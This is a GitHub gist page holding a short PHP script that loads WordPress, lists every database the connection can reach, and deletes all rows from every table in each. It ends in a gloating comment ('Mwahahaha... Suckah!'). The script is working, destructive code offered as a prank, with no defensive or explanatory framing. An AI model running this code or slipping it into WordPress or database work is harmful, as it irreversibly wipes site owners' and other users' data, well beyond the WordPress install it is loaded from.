Skip to content

Instantly share code, notes, and snippets.

@technosailor
Created May 3, 2012 17:35
Show Gist options
  • Save technosailor/2587487 to your computer and use it in GitHub Desktop.
Save technosailor/2587487 to your computer and use it in GitHub Desktop.
<?php
include( './wp-load.php' );
$dbs = $wpdb->get_col('SHOW DATABASES');
foreach( $dbs as $db )
{
$tables = $wpdb->get_col( sprintf( "SHOW TABLES IN %s", $db ) );
foreach( $tables as $table )
{
$wpdb->query( sprintf( "DELETE FROM %1$s.%2$s", $db, $table ) );
}
}
/*
Mwahahahahahahahaha
Hahahahahaha
Suckah!
Love always,
Aaron
*/
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment